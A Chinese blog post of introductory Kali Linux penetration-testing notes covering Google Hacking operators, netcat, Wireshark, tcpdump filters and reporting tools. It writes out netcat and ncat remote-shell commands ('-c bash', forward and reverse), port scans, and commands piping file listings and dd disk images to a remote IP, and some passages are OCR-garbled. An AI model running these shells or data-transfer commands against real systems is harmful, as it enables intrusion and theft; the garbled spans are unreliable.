chaoz的杂货铺

生命有息、学无止境、折腾不止

0%

kali-linux渗透测试入门

信息收集

Google Hacking Database

https://www.exploit-db.com/google-hacking-database/

  • 《Goole Hacking For Penetration Testers》
  • 《Google Hacking 渗透性测试者的利剑》

    Google 基本搜索语法

    1、关键字不区分大小写
    2、使用默认AND逻辑搜索
    3、默认最多32个单词
    4、用 + 号,强制带后面的单词搜索
    5、| 或者 OR ,匹配多个关键字的任一个
    6、混合用多种布尔操作时,将从左到右的顺序执行
    7、默认下忽视关键字中部分常用单词
    8、Google 使用网页搜索,定义互联网
    9、Google 会智能地保存一些内容,比如一些过时的词,一些不适合呈现的内容
    10、布尔操作符:AND(+) NOT(-) OR(|),现在不需要,google会自动匹配

    Google 高级搜索语法

    基本使用与语法 operatio:search_term
    operatio 搜索命令
    search_term 关键字搜索
    1、intext
    匹配网页正文中含有的关键字.可接多个关键字,空格或者逗号分隔;
    2、allintext
    和index类似,能接多个关踺字,能与其他操作符混合使用,可单独使用。
    3、intitle
    搜索网页标题中是否有所输入字符,可单独使用,可混合其他命令用;
    4、allintitle
    类似血itle,能接多个关键字,不能与其他操作符混合使用
    5、cache
    输入U心,,搜索特定页面的缓存快照,回查网页副本;
    6、define
    返回搜索关键字的定义:
    7、filetype
    搜索指定类型的文件,可以与其他操作符混合使用
    8、ext
    与filee等价
    9、info
    搜絷输入URL的摘要信息和其他相关信息,该操作符不能与其他作符及关键字混用;
    10、inurl
    搜索输入字符是否存在于U中;
    11、allinurl
    类似inurl,可指定多个字符,不能与其他憬作符混合使用,可单独使用;
    12、link
    搜索链接到所输入URL的页面,该亻乍符不需要关键字,不能与其他操作符及关键字混用;
    13、site
    搜索范围缩小到特定的网站,域或子域;
    14、related
    接一个URL,搜索与该URL相关的页面,该作符不能与其他悍作符及关键字混用;
    15、numrange
    接数字范围,用一个减号两边接数字来表示。减号左边为最小值,右边为最大值,从而搜索数字;
    16、inanchor
    搜索一个HTML标记中的一个链接的文本表现形式,闞在链接文本中搜索冒号后紧接的一个关键字;
    17、insubject
    搜索Google组的标题行;
    18、daterange
    搜索某个日期范围内GoogIe做索引的网页。

工具:NETCAT-NC

  • 网络工具中的踹士军刀一一小身材、大智慧
  • 侦昕模式/传输模式
  • telnet/获取bannerfä,a
  • 传输文本信息
  • 传输文件/§录
  • 加密传输文件
  • 远程控制/木马
  • 加密所有流量
  • 流媒体服务器

TELNET / BANNER

man -c :man 手册的缩写

nc -h
[v1.10-41.1]
connect to somewhere: nc [-options] hostname port[s] [ports] …
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e’; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. ‘ftp-data’).

eg:

  • nc -vn

    远程电子取证的收集

    PS:| 管道
    eg: ls -l | nc -nv 10.1.1.XX XXXX
    将当前电脑的文件信息 利用通道 + NC 传输到10.1.1.XX 终端显示出来
    传输⽂文件
    • A:nc -lp 333 > 1.mp4
    • B:nc -nv 1.1.1.1 333 < 1.mp4 –q 1

    • A:nc -q 1 -lp 333 < a.mp4
    • B: nc -nv 1.1.1.1 333 > 2.mp4

-q 1:传输完成1s后断开连接
-lp:监听端口

传输目录

需要结合其他命令

    • A:tar -cvf - music/ | nc -lp 333 –q 1
    • B:nc -nv 1.1.1.1 333 | tar -xvf –
  • tar 是unix/linux下的打包器。

  • -cvf可以看做-c -v -f,-xvf则是-x -v -f。
  • 其中-c/-x分别表示create/extract,即打包/解包。
  • -v 是verbose,表示显示打包/解包的详细过程。
  • -f 表示file,表示打包输出/解包输入文件,后面跟”-“表示使用“标准输入/输出”(stdin/stdout)作为输出/输入文件。
  • “|”表示“重定向”
加密传⽂文件
    • A:nc -lp 333 | mcrypt –flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
    • B: mcrypt –flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
  • mcrypt 加解密工具命令

  • -flush 清空缓冲区
  • -Fbq 加密参数
  • -Fbqd 解密参数
流媒体服务
    • A: cat 1.mp4 | nc -lp 333
    • B: nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -
  • B 以流的形式传递给流媒体软件 默认缓存3000

  • A -lp 333 监听本地333端口
    端口扫描
    • nc -nvz 1.1.1.1 1-65535
    • nc –vnzu 1.1.1.1 1-1024
远程克隆硬盘或者内存
    • A: nc -lp 333 | dd of=/dev/sda
    • B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1

先克隆内存,再克隆硬盘

为什么要远程取证克隆?而不是直接克隆?

远程控制
正向:
    • A:nc -lp 333 -c bash
    • B:nc 1.1.1.1 333
      反向:
    • A:nc -lp 333
    • B:nc 1.1.1.1 333 -c bash
  • 注:Windows⽤用户把bash改成cmd;

Nc只能在一定程度上替代ssh;可实现正反向控制(被控制与控制);

  • -c bash C盘上的bash shell (送给某机器shell、,等待某机器shell)


NCAT
  • Nc缺乏加密和⾝身份验证的能⼒力
  • Ncat包含于nmap⼯工具包中
  • A:ncat ncat -c bash –allow 192.168.20.14 -vnl 333 –ssl
  • B:ncat -nv 1.1.1.1 333 –ssl

    • –allow :允许
    • –ssl :都采取加密
WIRESHARK

最优秀的抓包工具之一,哈哈,该工具仅仅是对抓到的包进行解码分析。

  • 抓包嗅探协议分析
  • 安全专家必备的技能
  • 抓包引擎
    • Libpcap9—— Linux
    • Winpcap10—— Windows
  • 解码能⼒

    • 抓包后的软件保存为pcap,兼容性较好
基本使⽤用⽅方法

1、启动
2、选择抓包⺴⽹网卡
3、混杂模式
4、实时抓包
5、保存和分析捕获⽂文件
6、首选项

筛选器
  • 过滤掉干扰的数据包
  • 抓包筛选器
  • 显⽰示筛选器
常⻅见协议包
  • 数据包的分层结构
  • Arp
  • Icmp
  • Tcp——三次握⼿手
  • Udp
  • Dns
  • http
  • ftp
    包内容分层显示

    • ARP
      eg:
      Address ResoIution Protocol(request)
      Hardware type:Ethernet(1)
      ProtocoI type:IP(0×e800)
      Hardware S1Ze:6
      protocol size:4
      Sender MAC address:dO:(7:(0:99:ed:3a{de:(7:CO:99:ed:3a)
      Opcode:操作代码
      Sender IP address:
      Sender MAC address:
      Target MAC address:
      Target IP address:
      192·168·1·1(192,168,1,1)
      61:70:70:69:6e:67亻61:70:70:69:6e:67)
      192·168·1·105(192.168.1.105)
    • SSDP
      三层协议,
      Tim to live : win 128 linux 65 unix 256
      Type:二层往上三层协议
      protcool:三层往上四层协议,第四层的网络协议有很多种种类
TCP
数据流
  • http
  • Smtp
  • Pop3
  • Ssl
信息统计
  • 节点数
  • 协议分布
  • 包⼤大⼩小分布
  • 会话连接
  • 解码⽅方式
  • 专家系统
  • 抓包对⽐比nc、ncat加密与不加密的流量
实践
  • 抓包对⽐比nc、ncat加密与不加密的流量
实践
  • 抓包对⽐比nc、ncat加密与不加密的流量
  • 企业抓包布署⽅方案
    • Sniffer
    • Cace / riverbed
    • Cascad pilot
TCPDUMP——抓包
  • 抓包
    • tcpdump -i eth0 -s 0 -w file.pcap
  • 读取抓包⽂文件
    • Tcpdump -r file.pcap

用法:

    • 筛选
      tcpdump -n -r http.cap | awk ‘{print $3}’| sort –u
      tcpdump -n src host 145.254.160.237 -r http.cap
      tcpdump -n dst host 145.254.160.237 -r http.cap
      tcpdump -n port 53 -r http.cap
      tcpdump -nX port 80 -r http.cap
    • ⾼高级筛选
      tcpdump -A -n ‘tcp[13] = 24’ -r http.cap
    • 第二种是确定传输方向的关键字,主要包括src , dst ,dst or src, dst and src ,这些关键字指明了传输的方向。
      举例说明:
      src 210.27.48.2 ,指明ip包中源地址是210.27.48.2
      dst net 202.0.0.0 指明目的网络地址是202.0.0.0
      如果没有指明方向关键字,则缺省是src or dst关键字
    • 第三种是协议的关键字,主要包括fddi,ip,arp,rarp,tcp,udp等类型。Fddi指明是在FDDI(分布式光纤数据接口网络)上的特定 的网络协议,实际上它是”ether”的别名,fddi和ether具有类似的源地址和目的地址,所以可以将fddi协议包当作ether的包进行处理和 分析。其他的几个关键字就是指明了监听的包的协议内容。如果没有指定任何协议,则tcpdump将会监听所有协议的信息包。
    • 除了这三种类型的关键字之外,其他重要的关键字如下:gateway, broadcast,less,greater,还有三种逻辑运算,取非运算是 ‘not ‘ ‘! ‘, 与运算是’and’,’&&;或运算 是’or’ ,’||’;这些关键字可以组合起来构成强大的组合条件来满足人们的需要。

1、直接在终端启动tcpdump将监视第一个网络界面上所有流过的数据包
2、使用-i参数指定tcpdump监听的网络界面,这在计算机具有多个网络界面时非常有用,
3、使用-c参数指定要监听的数据包数量,
4、使用-w参数指定将监听到的数据包写入文件中保存

eg:
1、抓取回环网口的包:tcpdump -i lo

2、防止包截断:tcpdump -s0

3、以数字显示主机及端口:tcpdump -n

A想要截获所有210.27.48.1 的主机收到的和发出的所有的数据包:
tcpdump host 210.27.48.1

B想要截获主机210.27.48.1 和主机210.27.48.2 或210.27.48.3的通信,使用命令:(在命令行中适用 括号时,一定要
tcpdump host 210.27.48.1 and / (210.27.48.2 or 210.27.48.3 /)

C如果想要获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包,使用命令:
tcpdump ip host 210.27.48.1 and ! 210.27.48.2

D如果想要获取主机210.27.48.1接收或发出的telnet包,使用如下命令:
tcpdump tcp port 23 host 210.27.48.1

E对本机的udp 123 端口进行监视 123 为ntp的服务端口
tcpdump udp port 123

F 系统将只对名为hostname的主机的通信数据包进行监视。主机名可以是本地主机,也可以是网络上的任何一台计算机。下面的命令可以读取主机hostname发送的所有数据:
tcpdump -i eth0 src host hostname

G 下面的命令可以监视所有送到主机hostname的数据包:
tcpdump -i eth0 dst host hostname

H 我们还可以监视通过指定网关的数据包:
tcpdump -i eth0 gateway Gatewayname

I 如果你还想监视编址到指定端口的TCP或UDP数据包,那么执行以下命令:
tcpdump -i eth0 host hostname and port 80

J 如果想要获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包
,使用命令:
tcpdump ip host 210.27.48.1 and ! 210.27.48.2

K 想要截获主机210.27.48.1 和主机210.27.48.2 或210.27.48.3的通信,使用命令
:(在命令行中适用 括号时,一定要
tcpdump host 210.27.48.1 and / (210.27.48.2 or 210.27.48.3 /)

L 如果想要获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包,使用命令:
tcpdump ip host 210.27.48.1 and ! 210.27.48.2

M 如果想要获取主机210.27.48.1接收或发出的telnet包,使用如下命令:
tcpdump tcp port 23 host 210.27.48.1

过程文档记录

  • Dradis
  • 短期临时小团队资源共享
  • 各种插件导入文件
    • Keepnote
    • Truecrypt

Dradis

Dradis 框架是一个开源的协作和报告平台。它是由Ruby开发的一个独立的平台。

参考资料

官网
What is MagicTree?
MagicTree vs. Dradis
Kali Reporting Tools
工具推荐:Dradis,Kali渗透测试报告生成器

Truecrypt

TrueCrypt,是一款免费开源的加密软件,同时支持 Windows Vista,7/XP, Mac OS X, Linux 等操作系统。TrueCrypt 不需要生成任何文件即可在硬盘上建立虚拟磁盘,用户可以按照盘符进行访问,所有虚拟磁盘上的文件都被自动加密,需要通过密码来进行访问。TrueCrypt 提供多种加密算法,包括:AES-256, Blowfish (448-bit key), CAST5, Serpent, Triple DES, and Twofish,其他特性还有支持 FAT32 和 NTFS 分区、隐藏卷标、热键启动等。—-百度百科

比较完整的使用教程:TrueCrypt中文教程

喜欢这篇文章?打赏一下作者吧!

欢迎关注我的其它发布渠道